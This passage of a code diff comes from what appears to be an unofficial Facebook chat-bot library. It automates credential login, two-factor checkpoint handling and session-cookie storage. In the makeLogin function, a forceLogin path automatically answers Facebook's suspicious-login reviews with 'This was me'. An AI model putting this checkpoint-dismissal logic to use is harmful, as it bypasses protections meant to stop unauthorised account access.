if (html.indexOf("/checkpoint/block/?next") > -1) log.warn("login", Language.CheckPointLevelI);
|
382
|
+
|
383
|
+
var userID = maybeCookie[0].cookieString().split("=")[1].toString();
|
384
|
+
process.env['UID'] = logger.Normal(getText(Language.UID,userID), userID);
|
385
|
+
|
386
|
+
try {
|
387
|
+
clearInterval(checkVerified);
|
388
|
+
} catch (e) {
|
389
|
+
console.log(e);
|
390
|
+
}
|
391
|
+
|
392
|
+
var clientID = (Math.random() * 2147483648 | 0).toString(16);
|
393
|
+
|
394
|
+
var CHECK_MQTT = {
|
395
|
+
oldFBMQTTMatch: html.match(/irisSeqID:"(.+?)",appID:219994525426954,endpoint:"(.+?)"/),
|
396
|
+
newFBMQTTMatch: html.match(/{"app_id":"219994525426954","endpoint":"(.+?)","iris_seq_id":"(.+?)"}/),
|
397
|
+
legacyFBMQTTMatch: html.match(/(\["MqttWebConfig",\[\],{fbid:")(.+?)(",appID:219994525426954,endpoint:")(.+?)(",pollingEndpoint:")(.+?)(3790])/)
|
398
|
+
}
|
399
|
+
|
400
|
+
let Slot = Object.keys(CHECK_MQTT);
|
401
|
+
|
402
|
+
var mqttEndpoint,region,irisSeqID;
|
403
|
+
Object.keys(CHECK_MQTT).map(function(MQTT) {
|
404
|
+
if (CHECK_MQTT[MQTT] && !region) {
|
405
|
+
switch (Slot.indexOf(MQTT)) {
|
406
|
+
case 0: {
|
407
|
+
irisSeqID = CHECK_MQTT[MQTT][1];
|
408
|
+
mqttEndpoint = CHECK_MQTT[MQTT][2];
|
409
|
+
region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
|
410
|
+
return;
|
411
|
+
}
|
412
|
+
case 1: {
|
413
|
+
irisSeqID = CHECK_MQTT[MQTT][2];
|
414
|
+
mqttEndpoint = CHECK_MQTT[MQTT][1].replace(/\\\//g, "/");
|
415
|
+
region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
|
416
|
+
return;
|
417
|
+
}
|
418
|
+
case 2: {
|
419
|
+
mqttEndpoint = CHECK_MQTT[MQTT][4];
|
420
|
+
region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
|
421
|
+
return;
|
422
|
+
}
|
423
|
+
}
|
424
|
+
return;
|
425
|
+
}
|
426
|
+
});
|
427
|
+
|
428
|
+
var ctx = {
|
429
|
+
userID: userID,
|
430
|
+
jar: jar,
|
431
|
+
clientID: clientID,
|
432
|
+
globalOptions: globalOptions,
|
433
|
+
loggedIn: true,
|
434
|
+
access_token: 'NONE',
|
435
|
+
clientMutationId: 0,
|
436
|
+
mqttClient: undefined,
|
437
|
+
lastSeqId: irisSeqID,
|
438
|
+
syncToken: undefined,
|
439
|
+
mqttEndpoint: mqttEndpoint,
|
440
|
+
region: region,
|
441
|
+
firstListen: true
|
442
|
+
};
|
443
|
+
|
444
|
+
var api = {
|
445
|
+
setOptions: setOptions.bind(null, globalOptions),
|
446
|
+
getAppState: function getAppState() {
|
447
|
+
return utils.getAppState(jar);
|
448
|
+
}
|
449
|
+
};
|
450
|
+
|
451
|
+
if (region && mqttEndpoint) {
|
452
|
+
//do sth
|
453
|
+
}
|
454
|
+
else {
|
455
|
+
log.warn("login", getText(Language.NoAreaData));
|
456
|
+
api["htmlData"] = html;
|
457
|
+
}
|
458
|
+
|
459
|
+
var defaultFuncs = utils.makeDefaults(html, userID, ctx);
|
460
|
+
|
461
|
+
fs.readdirSync(__dirname + "/src").filter((/** @type {string} */File) => File.endsWith(".js") && !File.includes('Dev_')).map((/** @type {string} */File) => api[File.split('.').slice(0, -1).join('.')] = require('./src/' + File)(defaultFuncs, api, ctx));
|
462
|
+
|
463
|
+
return {
|
464
|
+
ctx,
|
465
|
+
defaultFuncs,
|
466
|
+
api
|
467
|
+
};
|
468
|
+
}
|
469
|
+
|
470
|
+
/!-[ Function makeLogin ]-!/
|
471
|
+
|
472
|
+
/**
|
473
|
+
* @param {{ setCookie: (arg0: any, arg1: string) => void; }} jar
|
474
|
+
* @param {any} email
|
475
|
+
* @param {any} password
|
476
|
+
* @param {{ forceLogin: any; }} loginOptions
|
477
|
+
* @param {(err: any, api: any) => any} callback
|
478
|
+
* @param {any} prCallback
|
479
|
+
*/
|
480
|
+
|
481
|
+
function makeLogin(jar, email, password, loginOptions, callback, prCallback) {
|
482
|
+
return function(/** @type {{ body: any; }} */res) {
|
483
|
+
var html = res.body,$ = cheerio.load(html),arr = [];
|
484
|
+
|
485
|
+
$("#login_form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
|
486
|
+
|
487
|
+
arr = arr.filter(function(v) {
|
488
|
+
return v.val && v.val.length;
|
489
|
+
});
|
490
|
+
|
491
|
+
var form = utils.arrToForm(arr);
|
492
|
+
form.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
|
493
|
+
form.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
|
494
|
+
form.email = email;
|
495
|
+
form.pass = password;
|
496
|
+
form.default_persistent = '0';
|
497
|
+
form.locale = 'en_US';
|
498
|
+
form.timezone = '240';
|
499
|
+
form.lgnjs = ~~(Date.now() / 1000);
|
500
|
+
|
501
|
+
html.split("\"_js_").slice(1).map((/** @type {any} */val) => {
|
502
|
+
jar.setCookie(utils.formatCookie(JSON.parse("[\"" + utils.getFrom(val, "", "]") + "]"), "facebook"),"https://www.facebook.com")
|
503
|
+
});
|
504
|
+
|
505
|
+
logger.Normal(Language.OnLogin);
|
506
|
+
return utils
|
507
|
+
.post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, form, loginOptions)
|
508
|
+
.then(utils.saveCookies(jar))
|
509
|
+
.then(function(/** @type {{ headers: any; }} */res) {
|
510
|
+
var headers = res.headers;
|
511
|
+
if (!headers.location) throw { error: Language.InvaildAccount };
|
512
|
+
|
513
|
+
// This means the account has login approvals turned on.
|
514
|
+
if (headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
|
515
|
+
logger.Warning(Language.TwoAuth);
|
516
|
+
var nextURL = 'https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php';
|
517
|
+
|
518
|
+
return utils
|
519
|
+
.get(headers.location, jar, null, loginOptions)
|
520
|
+
.then(utils.saveCookies(jar))
|
521
|
+
.then(async function(/** @type {{ body: any; }} */res) {
|
522
|
+
if (!await Database.get('ThroughAcc')) {
|
523
|
+
await Database.set('ThroughAcc', email);
|
524
|
+
}
|
525
|
+
else {
|
526
|
+
if (String((await Database.get('ThroughAcc'))).replace(RegExp('"','g'), '') != String(email).replace(RegExp('"','g'), '')) {
|
527
|
+
await Database.set('ThroughAcc', email);
|
528
|
+
if (await Database.get('Through2Fa')) {
|
529
|
+
await Database.delete('Through2Fa');
|
530
|
+
}
|
531
|
+
}
|
532
|
+
}
|
533
|
+
var html = res.body,$ = cheerio.load(html), arr = [];
|
534
|
+
$("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
|
535
|
+
arr = arr.filter(v => { return v.val && v.val.length });
|
536
|
+
var form = utils.arrToForm(arr);
|
537
|
+
if (html.indexOf("checkpoint/?next") > -1) {
|
538
|
+
setTimeout(() => {
|
539
|
+
checkVerified = setInterval((_form) => {}, 5000, {
|
540
|
+
fb_dtsg: form.fb_dtsg,
|
541
|
+
jazoest: form.jazoest,
|
542
|
+
dpr: 1
|
543
|
+
});
|
544
|
+
}, 2500);
|
545
|
+
switch (globalThis.Fca.Require.FastConfig.Login2Fa) {
|
546
|
+
case true: {
|
547
|
+
try {
|
548
|
+
const question = question => {
|
549
|
+
const rl = readline.createInterface({
|
550
|
+
input: process.stdin,
|
551
|
+
output: process.stdout
|
552
|
+
});
|
553
|
+
return new Promise(resolve => {
|
554
|
+
rl.question(question, answer => {
|
555
|
+
rl.close();
|
556
|
+
return resolve(answer);
|
557
|
+
});
|
558
|
+
});
|
559
|
+
};
|
560
|
+
async function EnterSecurityCode() {
|
561
|
+
try {
|
562
|
+
var Through2Fa = await Database.get('Through2Fa');
|
563
|
+
if (Through2Fa) {
|
564
|
+
Through2Fa.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
|
565
|
+
let str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
|
566
|
+
jar.setCookie(str, "http://" + c.domain);
|
567
|
+
})
|
568
|
+
var from2 = utils.arrToForm(arr);
|
569
|
+
from2.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
|
570
|
+
from2.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
|
571
|
+
from2.email = email;
|
572
|
+
from2.pass = password;
|
573
|
+
from2.default_persistent = '0';
|
574
|
+
from2.locale = 'en_US';
|
575
|
+
from2.timezone = '240';
|
576
|
+
from2.lgnjs = ~~(Date.now() / 1000);
|
577
|
+
return utils
|
578
|
+
.post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, from2, loginOptions)
|
579
|
+
.then(utils.saveCookies(jar))
|
580
|
+
.then(function(/** @type {{ headers: any; }} */res) {
|
581
|
+
var headers = res.headers;
|
582
|
+
if (!headers['set-cookie'][0].includes('deleted')) {
|
583
|
+
logger.Warning(Language.ErrThroughCookies, async function() {
|
584
|
+
await Database.delete('Through2Fa');
|
585
|
+
});
|
586
|
+
process.exit(1);
|
587
|
+
}
|
588
|
+
if (headers.location && headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
|
589
|
+
return utils
|
590
|
+
.get(headers.location, jar, null, loginOptions)
|
591
|
+
.then(utils.saveCookies(jar))
|
592
|
+
.then(function(/** @type {{ body: any; }} */res) {
|
593
|
+
var html = res.body,$ = cheerio.load(html), arr = [];
|
594
|
+
$("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
|
595
|
+
arr = arr.filter(v => { return v.val && v.val.length });
|
596
|
+
var from2 = utils.arrToForm(arr);
|
597
|
+
|
598
|
+
if (html.indexOf("checkpoint/?next") > -1) {
|
599
|
+
setTimeout(() => {
|
600
|
+
checkVerified = setInterval((_form) => {}, 5000, {
|
601
|
+
fb_dtsg: from2.fb_dtsg,
|
602
|
+
jazoest: from2.jazoest,
|
603
|
+
dpr: 1
|
604
|
+
});
|
605
|
+
}, 2500);
|
606
|
+
if (!res.headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
|
607
|
+
try {
|
608
|
+
delete from2.name_action_selected;
|
609
|
+
from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
|
610
|
+
return utils
|
611
|
+
.post(nextURL, jar, from2, loginOptions)
|
612
|
+
.then(utils.saveCookies(jar))
|
613
|
+
.then(function() {
|
614
|
+
from2['submit[This was me]'] = "This was me";
|
615
|
+
return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
|
616
|
+
})
|
617
|
+
.then(function() {
|
618
|
+
delete from2['submit[This was me]'];
|
619
|
+
from2.name_action_selected = 'save_device';
|
620
|
+
from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
|
621
|
+
return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
|
622
|
+
})
|
623
|
+
.then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
|
624
|
+
var headers = res.headers;
|
625
|
+
if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
|
626
|
+
var appState = utils.getAppState(jar,false);
|
627
|
+
await Database.set('Through2Fa', appState);
|
628
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
629
|
+
})
|
630
|
+
.catch((/** @type {any} */e) => callback(e));
|
631
|
+
}
|
632
|
+
catch (e) {
|
633
|
+
console.log(e)
|
634
|
+
}
|
635
|
+
}
|
636
|
+
}
|
637
|
+
})
|
638
|
+
}
|
639
|
+
return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
|
640
|
+
}).catch((/** @type {any} */e) => console.log(e));
|
641
|
+
}
|
642
|
+
}
|
643
|
+
catch (e) {
|
644
|
+
await Database.delete('Through2Fa');
|
645
|
+
}
|
646
|
+
var code = await question(Language.EnterSecurityCode);
|
647
|
+
try {
|
648
|
+
form.approvals_code = code;
|
649
|
+
form['submit[Continue]'] = $("#checkpointSubmitButton").html();
|
650
|
+
var prResolve,prReject;
|
651
|
+
var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
|
652
|
+
if (typeof code == "string") { //always strings
|
653
|
+
utils
|
654
|
+
.post(nextURL, jar, form, loginOptions)
|
655
|
+
.then(utils.saveCookies(jar))
|
656
|
+
.then(function(/** @type {{ body: string | Buffer; }} */res) {
|
657
|
+
var $ = cheerio.load(res.body);
|
658
|
+
var error = $("#approvals_code").parent().attr("data-xui-error");
|
659
|
+
if (error) {
|
660
|
+
logger.Warning(Language.InvaildTwoAuthCode,function() { EnterSecurityCode(); }); //bruh loop
|
661
|
+
};
|
662
|
+
})
|
663
|
+
.then(function() {
|
664
|
+
delete form.no_fido;delete form.approvals_code;
|
665
|
+
form.name_action_selected = 'save_device'; //'save_device' || 'dont_save;
|
666
|
+
return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
|
667
|
+
})
|
668
|
+
.then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
|
669
|
+
var headers = res.headers;
|
670
|
+
if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
|
671
|
+
try {
|
672
|
+
delete form.name_action_selected;
|
673
|
+
form['submit[Continue]'] = $("#checkpointSubmitButton").html();
|
674
|
+
return utils
|
675
|
+
.post(nextURL, jar, form, loginOptions)
|
676
|
+
.then(utils.saveCookies(jar))
|
677
|
+
.then(function() {
|
678
|
+
form['submit[This was me]'] = "This was me";
|
679
|
+
return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
|
680
|
+
})
|
681
|
+
.then(function() {
|
682
|
+
delete form['submit[This was me]'];
|
683
|
+
form.name_action_selected = 'save_device';
|
684
|
+
form['submit[Continue]'] = $("#checkpointSubmitButton").html();
|
685
|
+
return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
|
686
|
+
})
|
687
|
+
.then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
|
688
|
+
var headers = res.headers;
|
689
|
+
if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
|
690
|
+
var appState = utils.getAppState(jar,false);
|
691
|
+
await Database.set('Through2Fa', appState);
|
692
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
693
|
+
})
|
694
|
+
.catch((/** @type {any} */e) => callback(e));
|
695
|
+
}
|
696
|
+
catch (e) {
|
697
|
+
console.log(e)
|
698
|
+
}
|
699
|
+
}
|
700
|
+
var appState = utils.getAppState(jar,false);
|
701
|
+
if (callback === prCallback) {
|
702
|
+
callback = function(/** @type {any} */err, /** @type {any} */api) {
|
703
|
+
if (err) return prReject(err);
|
704
|
+
return prResolve(api);
|
705
|
+
};
|
706
|
+
}
|
707
|
+
await Database.set('Through2Fa', appState);
|
708
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
709
|
+
})
|
710
|
+
.catch(function(/** @type {any} */err) {
|
711
|
+
if (callback === prCallback) prReject(err);
|
712
|
+
else callback(err);
|
713
|
+
});
|
714
|
+
} else {
|
715
|
+
utils
|
716
|
+
.post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
|
717
|
+
.then(utils.saveCookies(jar))
|
718
|
+
.then(async function(/** @type {{ body: string; }} */res) {
|
719
|
+
try {
|
720
|
+
JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
|
721
|
+
} catch (ex) {
|
722
|
+
clearInterval(checkVerified);
|
723
|
+
logger.Warning(Language.VerifiedCheck);
|
724
|
+
if (callback === prCallback) {
|
725
|
+
callback = function(/** @type {any} */err, /** @type {any} */api) {
|
726
|
+
if (err) return prReject(err);
|
727
|
+
return prResolve(api);
|
728
|
+
};
|
729
|
+
}
|
730
|
+
let appState = utils.getAppState(jar,false);
|
731
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
732
|
+
}
|
733
|
+
})
|
734
|
+
.catch((/** @type {any} */ex) => {
|
735
|
+
log.error("login", ex);
|
736
|
+
if (callback === prCallback) prReject(ex);
|
737
|
+
else callback(ex);
|
738
|
+
});
|
739
|
+
}
|
740
|
+
return rtPromise;
|
741
|
+
}
|
742
|
+
catch (e) {
|
743
|
+
logger.Error(e)
|
744
|
+
logger.Error()
|
745
|
+
process.exit(0)
|
746
|
+
}
|
747
|
+
}
|
748
|
+
await EnterSecurityCode()
|
749
|
+
}
|
750
|
+
catch (e) {
|
751
|
+
logger.Error(e)
|
752
|
+
logger.Error();
|
753
|
+
process.exit(0);
|
754
|
+
}
|
755
|
+
}
|
756
|
+
break;
|
757
|
+
case false: {
|
758
|
+
throw {
|
759
|
+
error: 'login-approval',
|
760
|
+
continue: function submit2FA(/** @type {any} */code) {
|
761
|
+
form.approvals_code = code;
|
762
|
+
form['submit[Continue]'] = $("#checkpointSubmitButton").html(); //'Continue';
|
763
|
+
var prResolve,prReject;
|
764
|
+
var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
|
765
|
+
if (typeof code == "string") {
|
766
|
+
utils
|
767
|
+
.post(nextURL, jar, form, loginOptions)
|
768
|
+
.then(utils.saveCookies(jar))
|
769
|
+
.then(function(/** @type {{ body: string | Buffer; }} */res) {
|
770
|
+
var $ = cheerio.load(res.body);
|
771
|
+
var error = $("#approvals_code").parent().attr("data-xui-error");
|
772
|
+
if (error) {
|
773
|
+
throw {
|
774
|
+
error: 'login-approval',
|
775
|
+
errordesc: Language.InvaildTwoAuthCode,
|
776
|
+
lerror: error,
|
777
|
+
continue: submit2FA
|
778
|
+
};
|
779
|
+
}
|
780
|
+
})
|
781
|
+
.then(function() {
|
782
|
+
delete form.no_fido;delete form.approvals_code;
|
783
|
+
form.name_action_selected = 'dont_save'; //'save_device' || 'dont_save;
|
784
|
+
return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
|
785
|
+
})
|
786
|
+
.then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
|
787
|
+
var headers = res.headers;
|
788
|
+
if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: Language.ApprovalsErr };
|
789
|
+
var appState = utils.getAppState(jar,false);
|
790
|
+
if (callback === prCallback) {
|
791
|
+
callback = function(/** @type {any} */err, /** @type {any} */api) {
|
792
|
+
if (err) return prReject(err);
|
793
|
+
return prResolve(api);
|
794
|
+
};
|
795
|
+
}
|
796
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
797
|
+
})
|
798
|
+
.catch(function(/** @type {any} */err) {
|
799
|
+
if (callback === prCallback) prReject(err);
|
800
|
+
else callback(err);
|
801
|
+
});
|
802
|
+
} else {
|
803
|
+
utils
|
804
|
+
.post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
|
805
|
+
.then(utils.saveCookies(jar))
|
806
|
+
.then((/** @type {{ body: string; }} */res) => {
|
807
|
+
try {
|
808
|
+
JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
|
809
|
+
} catch (ex) {
|
810
|
+
clearInterval(checkVerified);
|
811
|
+
logger.Warning(Language.VerifiedCheck);
|
812
|
+
if (callback === prCallback) {
|
813
|
+
callback = function(/** @type {any} */err, /** @type {any} */api) {
|
814
|
+
if (err) return prReject(err);
|
815
|
+
return prResolve(api);
|
816
|
+
};
|
817
|
+
}
|
818
|
+
return loginHelper(utils.getAppState(jar,false), email, password, loginOptions, callback);
|
819
|
+
}
|
820
|
+
})
|
821
|
+
.catch((/** @type {any} */ex) => {
|
822
|
+
log.error("login", ex);
|
823
|
+
if (callback === prCallback) prReject(ex);
|
824
|
+
else callback(ex);
|
825
|
+
});
|
826
|
+
}
|
827
|
+
return rtPromise;
|
828
|
+
}
|
829
|
+
};
|
830
|
+
}
|
831
|
+
}
|
832
|
+
} else {
|
833
|
+
if (!loginOptions.forceLogin) throw { error: Language.ForceLoginNotEnable };
|
834
|
+
|
835
|
+
if (html.indexOf("Suspicious Login Attempt") > -1) form['submit[This was me]'] = "This was me";
|
836
|
+
else form['submit[This Is Okay]'] = "This Is Okay";
|
837
|
+
|
838
|
+
return utils
|
839
|
+
.post(nextURL, jar, form, loginOptions)
|
840
|
+
.then(utils.saveCookies(jar))
|
841
|
+
.then(function() {
|
842
|
+
form.name_action_selected = 'dont_save';
|
843
|
+
|
844
|
+
return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
|
845
|
+
})
|
846
|
+
.then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
|
847
|
+
var headers = res.headers;
|
848
|
+
|
849
|
+
if (!headers.location && res.body.indexOf('Review Recent Login') > -1) throw { error: "Something went wrong with review recent login." };
|
850
|
+
|
851
|
+
var appState = utils.getAppState(jar,false);
|
852
|
+
|
853
|
+
return loginHelper(appState, email, password, loginOptions, callback);
|
854
|
+
})
|
855
|
+
.catch((/** @type {any} */e) => callback(e));
|
856
|
+
}
|
857
|
+
});
|
858
|
+
}
|
859
|
+
return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
|
860
|
+
});
|
861
|
+
};
|
862
|
+
}
|
863
|
+
|
864
|
+
/!-[ Function backup ]-!/
|
865
|
+
|
866
|
+
/**
|
867
|
+
* @param {string} data
|
868
|
+
* @param {any} globalOptions
|
869
|
+
* @param {any} callback
|
870
|
+
* @param {any} prCallback
|
871
|
+
*/
|
872
|
+
|
873
|
+
function backup(data,globalOptions, callback, prCallback) {
|
874
|
+
try {
|
875
|
+
var appstate;
|
876
|
+
try {
|
877
|
+
appstate = JSON.parse(data)
|
878
|
+
}
|
879
|
+
catch(e) {
|
880
|
+
appstate = data;
|
881
|
+
}
|
882
|
+
logger.Warning(Language.BackupNoti);
|
883
|
+
try {
|
884
|
+
loginHelper(appstate,null,null,globalOptions, callback, prCallback)
|
885
|
+
}
|
886
|
+
catch (e) {
|
887
|
+
logger.Error(Language.ErrBackup);
|
888
|
+
process.exit(0);
|
889
|
+
}
|
890
|
+
}
|
891
|
+
catch (e) {
|
892
|
+
return logger.Error();
|
893
|
+
}
|
894
|
+
}
|
895
|
+
|
896
|
+
/!-[ async function loginHelper ]-!/
|
897
|
+
|
898
|
+
/**
|
899
|
+
* @param {string | any[]} appState
|
900
|
+
* @param {any} email
|
901
|
+
* @param {any} password
|
902
|
+
* @param {{ selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize?: number; online?: boolean; emitReady?: boolean; userAgent?: string; pageID?: any; }} globalOptions
|
903
|
+
* @param {(arg0: any, arg1: undefined) => void} callback
|
904
|
+
* @param {(error: any, api: any) => any} [prCallback]
|
905
|
+
*/
|
906
|
+
|
907
|
+
async function loginHelper(appState, email, password, globalOptions, callback, prCallback) {
|
908
|
+
var mainPromise = null;
|
909
|
+
var jar = utils.getJar();
|
910
|
+
|
911
|
+
if (fs.existsSync('./backupappstate.json')) {
|
912
|
+
fs.unlinkSync('./backupappstate.json');
|
913
|
+
}
|
914
|
+
|
915
|
+
try {
|
916
|
+
if (appState) {
|
917
|
+
logger.Normal(Language.OnProcess);
|
918
|
+
switch (await Database.has("FBKEY")) {
|
919
|
+
case true: {
|
920
|
+
process.env.FBKEY = await Database.get("FBKEY");
|
921
|
+
}
|
922
|
+
break;
|
923
|
+
case false: {
|
924
|
+
const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
|
925
|
+
process.env['FBKEY'] = SecurityKey;
|
926
|
+
await Database.set('FBKEY', SecurityKey);
|
927
|
+
}
|
928
|
+
break;
|
929
|
+
default: {
|
930
|
+
const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
|
931
|
+
process.env['FBKEY'] = SecurityKey;
|
932
|
+
await Database.set('FBKEY', SecurityKey);
|
933
|
+
}
|
934
|
+
}
|
935
|
+
try {
|
936
|
+
switch (globalThis.Fca.Require.FastConfig.EncryptFeature) {
|
937
|
+
case true: {
|
938
|
+
appState = JSON.parse(JSON.stringify(appState, null, "\t"));
|
939
|
+
switch (utils.getType(appState)) {
|
940
|
+
case "Array": {
|
941
|
+
switch (utils.getType(appState[0])) {
|
942
|
+
case "Object": {
|
943
|
+
logger.Normal(Language.NotReadyToDecrypt);
|
944
|
+
}
|
945
|
+
break;
|
946
|
+
case "String": {
|
947
|
+
appState = Security(appState,process.env['FBKEY'],'Decrypt');
|
948
|
+
logger.Normal(Language.DecryptSuccess);
|
949
|
+
}
|
950
|
+
}
|
951
|
+
}
|
952
|
+
break;
|
953
|
+
case "Object": {
|
954
|
+
try {
|
955
|
+
appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
|
956
|
+
logger.Normal(Language.DecryptSuccess);
|
957
|
+
}
|
958
|
+
catch (e) {
|
959
|
+
if (process.env.Backup != undefined && process.env.Backup) {
|
960
|
+
await backup(process.env.Backup,globalOptions, callback, prCallback);
|
961
|
+
}
|
962
|
+
else {
|
963
|
+
try {
|
964
|
+
if (await Database.has('Backup')) {
|
965
|
+
return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
|
966
|
+
}
|
967
|
+
else {
|
968
|
+
logger.Normal(Language.ErrBackup);
|
969
|
+
process.exit(0);
|
970
|
+
}
|
971
|
+
}
|
972
|
+
catch (e) {
|
973
|
+
logger.Warning(Language.ErrBackup);
|
974
|
+
logger.Error();
|
975
|
+
process.exit(0);
|
976
|
+
}
|
977
|
+
}
|
978
|
+
logger.Warning(Language.DecryptFailed);
|
979
|
+
return logger.Error();
|
980
|
+
}
|
981
|
+
}
|
982
|
+
break;
|
983
|
+
case "String": {
|
984
|
+
try {
|
985
|
+
appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
|
986
|
+
logger.Normal(Language.DecryptSuccess);
|
987
|
+
}
|
988
|
+
catch (e) {
|
989
|
+
if (process.env.Backup != undefined && process.env.Backup) {
|
990
|
+
await backup(process.env.Backup,globalOptions, callback, prCallback);
|
991
|
+
}
|
992
|
+
else {
|
993
|
+
try {
|
994
|
+
if (await Database.has('Backup')) {
|
995
|
+
return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
|
996
|
+
}
|
997
|
+
else {
|
998
|
+
logger.Normal(Language.ErrBackup);
|
999
|
+
process.exit(0);
|
1000
|
+
}
|
1001
|
+
}
|
1002
|
+
catch (e) {
|
1003
|
+
logger.Warning(Language.ErrBackup);
|
1004
|
+
logger.Error();
|
1005
|
+
process.exit(0);
|
1006
|
+
}
|
1007
|
+
}
|
1008
|
+
logger.Warning(Language.DecryptFailed);
|
1009
|
+
return logger.Error();
|
1010
|
+
}
|
1011
|
+
}
|
1012
|
+
break;
|
1013
|
+
default: {
|
1014
|
+
logger.Warning(Language.InvaildAppState);
|
1015
|
+
process.exit(0)
|
1016
|
+
}
|
1017
|
+
}
|
1018
|
+
}
|
1019
|
+
break;
|
1020
|
+
case false: {
|
1021
|
+
switch (utils.getType(appState)) {
|
1022
|
+
case "Array": {
|
1023
|
+
logger.Normal(Language.EncryptStateOff);
|
1024
|
+
}
|
1025
|
+
break;
|
1026
|
+
case "Object": {
|
1027
|
+
logger.Normal(Language.EncryptStateOff);
|
1028
|
+
try {
|
1029
|
+
appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
|
1030
|
+
logger.Normal(Language.DecryptSuccess);
|
1031
|
+
}
|
1032
|
+
catch (e) {
|
1033
|
+
if (process.env.Backup != undefined && process.env.Backup) {
|
1034
|
+
await backup(process.env.Backup,globalOptions, callback, prCallback);
|
1035
|
+
}
|
1036
|
+
else {
|
1037
|
+
try {
|
1038
|
+
if (await Database.has('Backup')) {
|
1039
|
+
return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
|
1040
|
+
}
|
1041
|
+
else {
|
1042
|
+
logger.Warning(Language.ErrBackup);
|
1043
|
+
process.exit(0);
|
1044
|
+
}
|
1045
|
+
}
|
1046
|
+
catch (e) {
|
1047
|
+
logger.Warning(Language.ErrBackup);
|
1048
|
+
logger.Error();
|
1049
|
+
process.exit(0);
|
1050
|
+
}
|
1051
|
+
}
|
1052
|
+
logger.Warning(Language.DecryptFailed);
|
1053
|
+
return logger.Error();
|
1054
|
+
}
|
1055
|
+
}
|
1056
|
+
break;
|
1057
|
+
default: {
|
1058
|
+
logger.Warning(Language.InvaildAppState);
|
1059
|
+
process.exit(0)
|
1060
|
+
}
|
1061
|
+
}
|
1062
|
+
}
|
1063
|
+
break;
|
1064
|
+
default: {
|
1065
|
+
logger.Warning(getText(Language.IsNotABoolean,globalThis.Fca.Require.FastConfig.EncryptFeature))
|
1066
|
+
process.exit(0);
|
1067
|
+
}
|
1068
|
+
}
|
1069
|
+
}
|
1070
|
+
catch (e) {
|
1071
|
+
console.log(e);
|
1072
|
+
}
|
1073
|
+
|
1074
|
+
try {
|
1075
|
+
appState = JSON.parse(appState);
|
1076
|
+
}
|
1077
|
+
catch (e) {
|
1078
|
+
try {
|
1079
|
+
appState = appState;
|
1080
|
+
}
|
1081
|
+
catch (e) {
|
1082
|
+
return logger.Error();
